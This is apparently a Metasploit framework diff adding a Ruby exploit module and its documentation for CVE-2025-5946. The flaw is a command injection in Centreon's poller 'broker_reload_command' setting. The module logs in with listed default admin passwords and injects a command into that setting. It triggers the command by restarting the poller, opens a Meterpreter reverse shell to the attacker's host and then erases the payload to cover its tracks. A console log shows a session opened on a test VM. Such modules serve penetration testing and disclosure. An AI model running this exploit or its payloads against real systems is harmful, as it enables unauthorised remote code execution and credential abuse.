Centreon authenticated command injection leading to RCE via broker engine "reload" parameter [CVE-2025-5946]

documentation/modules/exploit/linux/http/centreon_auth_rce_cve_2025_5946.md

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+## Vulnerable Application
+Centreon is a platform designed to monitor your cloud and on-premises infrastructure.
+This module exploits an command injection vulnerability using the `broker engine reload` setting
+on the poller configuration page of the Centreon web application. Injecting a malcious payload
+at the `broker engine reload` parameter and restarting the poller triggers this vulnerability.
+You need have admin access at the Centreon Web application in order to execute this RCE.
+
+This issue affects all Centreon editions >= `19.10.0` and it is fixed in Centreon Web versions
+`24.10.13`, `24.04.18` and `23.10.28`.
+
+The following releases were tested.
+
+**Centreon Releases:**
+* Centreon 24.10.8 on Debian 12 - VM Image
+
+## Installation steps to install Centreon
+* Install your favorite virtualization engine (VMware or VirtualBox) on your preferred platform.
+* Here are the installation instructions for [VirtualBox on MacOS](https://tecadmin.net/how-to-install-virtualbox-on-macos/).
+* [Install Centreon VM](https://docs.centreon.com/docs/installation/installation-of-a-central-server/using-virtual-machines/).
+* After successful installation of Centreon you can access the application using the `webui` via `http(s)://your_ip/centreon`.
+
+You are now ready to test the module.
+
+## Verification Steps
+- [ ] Start `msfconsole`
+- [ ] `use exploit/linux/http/centreon_auth_rce_cve_2025_5946`
+- [ ] `set rhosts <ip-target>`
+- [ ] `set rport <port>`
+- [ ] `set lhost <attacker-ip>`
+- [ ] `set target <0=Unix/Linux Command>`
+- [ ] `exploit`
+- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings
+
+## Options
+
+### USERNAME
+The username (default: admin) to authenticate with the Centreon application.
+
+### PASSWORD
+This is the password (default: Centreon!123) in plain text to authenticate with the Centreon application.
+Depending on the version installed, the default password can also be "centreon" or "Centreon123!" without the quotes ;-)
+
+## Scenarios
+### Centreon VM v24.10.8 -  Unix/Linux Command target
+Attack scenario: use the default admin credentials (admin:Centreon!123) of the Centreon application
+to gain the privileges for the RCE.
+```msf
+msf exploit(linux/http/centreon_auth_rce_cve_2025_5946) > set rhosts 192.168.201.6
+rhosts => 192.168.201.6
+msf exploit(linux/http/centreon_auth_rce_cve_2025_5946) > set ssl false
+[!] Changing the SSL option's value may require changing RPORT!
+ssl => false
+msf exploit(linux/http/centreon_auth_rce_cve_2025_5946) > set rport 80
+rport => 80
+msf exploit(linux/http/centreon_auth_rce_cve_2025_5946) > set lhost 192.168.201.10
+lhost => 192.168.201.10
+msf exploit(linux/http/centreon_auth_rce_cve_2025_5946) > set password centreon
+password => centreon
+msf exploit(linux/http/centreon_auth_rce_cve_2025_5946) > rexploit
+[*] Reloading module...
+[*] Started reverse TCP handler on 192.168.201.10:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target appears to be vulnerable. Centreon version 24.10.8
+[*] Trying to log in with admin credentials admin:centreon at the Centreon Web application.
+[*] Succesfully authenticated at the Centreon Web application.
+[*] Saving admin credentials at the msf database.
+[*] Executing Unix/Linux Command for cmd/linux/http/x64/meterpreter/reverse_tcp
+[*] Sending stage (3090404 bytes) to 192.168.201.6
+[*] Meterpreter session 1 opened (192.168.201.10:4444 -> 192.168.201.6:51772) at 2025-11-03 08:47:22 +0000
+[+] Payload has been successfully removed from the poller setting "broker_reload_command".
+
+meterpreter > sysinfo
+Computer     : 192.168.201.6
+OS           : Debian 12.11 (Linux 6.1.0-37-amd64)
+Architecture : x64
+BuildTuple   : x86_64-linux-musl
+Meterpreter  : x64/linux
+meterpreter > getuid
+Server username: www-data
+meterpreter > pwd
+/usr/share/centreon/www
+meterpreter >
+```
+## Limitations
+None.

modules/exploits/linux/http/centreon_auth_rce_cve_2025_5946.rb

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+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  prepend Msf::Exploit::Remote::AutoCheck
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name' => 'Centreon authenticated command injection leading to RCE via broker engine "reload" parameter',
+        'Description' => %q{
+          Centreon is a platform designed to monitor your cloud and on-premises infrastructure.
+          This module exploits an command injection vulnerability using the `broker engine reload` setting
+          on the poller configuration page of the Centreon web application. Injecting a malcious payload
+          at the `broker engine reload` parameter and restarting the poller triggers this vulnerability.
+          You need have admin access at the Centreon Web application in order to execute this RCE.
+          This issue affects all Centreon editions >= `19.10.0` and it is fixed in Centreon Web versions
+          `24.10.13`, `24.04.18` and `23.10.28`.
+        },
+        'Author' => [
+          'h00die-gr3y <h00die.gr3y[at]gmail.com>' # Discovery, Metasploit module & default password weakness
+        ],
+        'References' => [
+          ['CVE', '2025-5946'],
+          ['URL', 'https://thewatch.centreon.com/latest-security-bulletins-64/cve-2025-5946-centreon-web-all-versions-high-severity-5104'],
+          ['URL', 'https://attackerkb.com/topics/23D4cUoBZj/cve-2025-5946']
+        ],
+        'License' => MSF_LICENSE,
+        'Platform' => ['unix', 'linux'],
+        'Privileged' => false,
+        'Arch' => [ARCH_CMD],
+        'Targets' => [
+          [
+            'Unix/Linux Command',
+            {
+              'Platform' => ['unix', 'linux'],
+              'Arch' => ARCH_CMD,
+              'Type' => :unix_cmd,
+              'DefaultOptions' => {
+                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp'
+              },
+              'Payload' => {
+                'Encoder' => 'cmd/base64',
+                'BadChars' => "\x20\x3E\x26\x27\x22" # no space > & ' "
+              }
+            }
+          ]
+        ],
+        'DefaultTarget' => 0,
+        'DisclosureDate' => '2025-09-24',
+        'DefaultOptions' => {
+          'SSL' => true,
+          'RPORT' => 443
+        },
+        'Notes' => {
+          'Stability' => [CRASH_SAFE],
+          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
+          'Reliability' => [REPEATABLE_SESSION]
+        }
+      )
+    )
+    register_options([
+      OptString.new('TARGETURI', [true, 'Path to the Centreon application', '/centreon']),
+      OptString.new('USERNAME', [true, 'Centreon web admin user', 'admin']),
+      OptString.new('PASSWORD', [true, 'Centreon web admin password', 'Centreon!123'])
+    ])
+  end
+
+  # login at the Centreon web application
+  # return true if login successful else false
+  def centreon_login(name, pwd)
+    # login with admin credentials
+    # first try login logic in newer versions
+    post_data = {
+      login: name.to_s,
+      password: pwd.to_s
+    }.to_json
+    res = send_request_cgi({
+      'method' => 'POST',
+      'ctype' => 'application/json',
+      'keep_cookies' => true,
+      'uri' => normalize_uri(target_uri.path, 'api', 'latest', 'authentication', 'providers', 'configurations', 'local'),
+      'data' => post_data.to_s
+    })
+    return true if res&.code == 200 && res.body.include?('redirect_uri')
+
+    # try again using login logic for older versions
+    # get centreon_token
+    res = send_request_cgi!({
+      'method' => 'GET',
+      'uri' => normalize_uri(target_uri.path),
+      'keep_cookies' => true
+    })
+
+    unless res&.code == 200 && res.body.include?('centreon_token')
+      vprint_status('No centreon_token found!')
+      return false
+    end
+
+    html = res.get_html_document
+    centreon_token = html.css("input[name='centreon_token']")[0].attribute_nodes[2].text
+
+    # login with admin credentials and centreon_token
+    if centreon_token
+      vprint_status("centreon_token=#{centreon_token}")
+      res = send_request_cgi({
+        'method' => 'POST',
+        'uri' => normalize_uri(target_uri.path, 'index.php'),
+        'keep_cookies' => true,
+        'vars_post' => {
+          'useralias' => name.to_s,
+          'password' => pwd.to_s,
+          'submitLogin' => 'Connect',
+          'centreon_token' => centreon_token.to_s
+        }
+      })
+      return true if res&.code == 302
+    else
+      vprint_warning('Unable to process the centreon_token.')
+    end
+    false
+  end
+
+  # CVE-2025-5946: Command Injection leading to RCE via the centreon broker engine "reload" parameter triggered by a poller reload
+  def execute_payload(cmd, _opts = {})
+    @clean_payload = true
+    payload = ";#{cmd}"
+    vprint_status("payload=#{payload}")
+    # attach payload at the centreon broker engine "reload parameter
+    fail_with(Failure::PayloadFailed, 'Dropping the payload at the target failed.') unless drop_rce_payload(payload)
+
+    # trigger execution by restarting the poller
+    send_request_cgi({
+      'method' => 'POST',
+      'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'restartPollers.php'),
+      'keep_cookies' => true,
+      'vars_post' => {
+        'poller' => 1,
+        'mode' => 1
+      }
+    })
+  end
+
+  # attach payload at the centreon broker engine "reload" parameter and commit into the sql database
+  def drop_rce_payload(payload)
+    # get the poller configuration and centreon_token
+    res = send_request_cgi({
+      'method' => 'GET',
+      'uri' => normalize_uri(target_uri.path, 'main.get.php'),
+      'keep_cookies' => true,
+      'vars_get' => {
+        'p' => 60901,
+        'o' => 'c',
+        'server_id' => 1
+      }
+    })
+
+    unless res&.code == 200 && res.body.include?('centreon_token')
+      vprint_status('No centreon_token found!')
+      return false
+    end
+
+    html = res.get_html_document
+    centreon_token = html.css("input[name='centreon_token']")[0].attribute_nodes[2].text
+
+    # update poller "centreon broker engine reload" setting with payload
+    if centreon_token
+      vprint_status("centreon_token=#{centreon_token}")
+      res = send_request_cgi({
+        'method' => 'POST',
+        'uri' => normalize_uri(target_uri.path, 'main.get.php'),
+        'keep_cookies' => true,
+        'vars_get' => {
+          'p' => 60901
+        },
+        'vars_post' => {
+          'name' => 'Central',
+          'ns_ip_address' => '127.0.0.1',
+          'localhost[localhost]' => 1,
+          'is_default[is_default]' => 1,
+          'gorgone_communication_type[gorgone_communication_type]' => 1,
+          'gorgone_port' => 5556,
+          'engine_start_command' => 'service centengine start',
+          'engine_stop_command' => 'service centengine stop',
+          'engine_restart_command' => 'service centengine restart',
+          'engine_reload_command' => 'service centengine reload',
+          'nagios_bin' => '/usr/sbin/centengine',
+          'nagiostats_bin' => '/usr/sbin/centenginestats',
+          'nagios_perfdata' => '/var/log/centreon-engine/service-perfdata',
+          'broker_reload_command' => "service cbd reload#{payload}",
+          'centreonbroker_cfg_path' => '/etc/centreon-broker',
+          'centreonbroker_module_path' => '/usr/share/centreon/lib/centreon-broker',
+          'centreonbroker_logs_path' => nil,
+          'centreonconnector_path' => '/usr/lib64/centreon-connector',
+          'init_script_centreontrapd' => 'centreontrapd',
+          'snmp_trapd_path_conf' => '/etc/snmp/centreon_traps/',
+          'ns_activate[ns_activate]' => 1,
+          'submitC' => 'Save',
+          'id' => 1,
+          'o' => 'c',
+          'centreon_token' => centreon_token.to_s
+        }
+      })
+      if res&.code == 200 && res.body.include?('ajaxOption table')
+        vprint_good('Poller setting "broker_reload_command" updated with payload.')
+        return true
+      end
+      vprint_warning('Poller setting "broker_reload_command" is not updated with payload.')
+    else
+      vprint_warning('Unable to process the centreon_token.')
+    end
+    return false
+  end
+
+  # try to remove the payload from the poller settings to cover our tracks
+  def cleanup
+    super
+    # check if payload should be cleaned
+    if @clean_payload
+      vprint_status('Cleaning up the mess...')
+      if drop_rce_payload(nil)
+        print_good('Payload has been successfully removed from the poller setting "broker_reload_command".')
+      else
+        print_warning('Payload not removed. Try to remove it manually from the poller setting "broker_reload_command".')
+      end
+    end
+  end
+
+  # get the Centreon version
+  # return version if successful else nil
+  def get_centreon_version
+    # get version information use Web API v2.0
+    res = send_request_cgi({
+      'method' => 'GET',
+      'uri' => normalize_uri(target_uri.path, 'api', 'latest', 'platform', 'versions'),
+      'keep_cookies' => true
+    })
+    # for older versions try to scrape the version from the login web page
+    unless res&.code == 200 && res.body.include?('web')
+      res = send_request_cgi!({
+        'method' => 'GET',
+        'uri' => normalize_uri(target_uri.path),
+        'keep_cookies' => true
+      })
+      return nil unless res&.code == 200
+
+      build = res.body.match(/v\.\s*\d+\.\d+\.\d+/)
+      return nil if build.nil?
+
+      return build[0].gsub(/[[:space:]]/, '').split('v.')[1]
+    end
+    res_json = res.get_json_document
+    res_json['web']['version'] unless res_json.blank?
+  end
+
+  def check
+    version = get_centreon_version
+    return CheckCode::Unknown('Can not determine the Centreon version.') if version.nil?
+
+    case version.scan(/^\d+\.\d+/)[0]
+    when '24.10'
+      return CheckCode::Appears("Centreon version #{version}") if Rex::Version.new(version) < Rex::Version.new('24.10.13')
+    when '24.04'
+      return CheckCode::Appears("Centreon version #{version}") if Rex::Version.new(version) < Rex::Version.new('24.04.18')
+    when '23.10'
+      return CheckCode::Appears("Centreon version #{version}") if Rex::Version.new(version) < Rex::Version.new('23.10.28')
+    end
+
+    CheckCode::Safe("Centreon version #{version}")
+  end
+
+  def exploit
+    # check if we can login at the Centreon Web application with the default admin credentials
+    username = datastore['USERNAME']
+    password = datastore['PASSWORD']
+    print_status("Trying to log in with admin credentials #{username}:#{password} at the Centreon Web application.")
+    fail_with(Failure::NoAccess, 'Failed to authenticate at the Centreon Web application.') unless centreon_login(username, password)
+    print_status('Succesfully authenticated at the Centreon Web application.')
+
+    # storing credentials at the msf database
+    print_status('Saving admin credentials at the msf database.')
+    store_valid_credential(user: username, private: password)
+
+    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
+    execute_payload(payload.encoded)
+  end
+end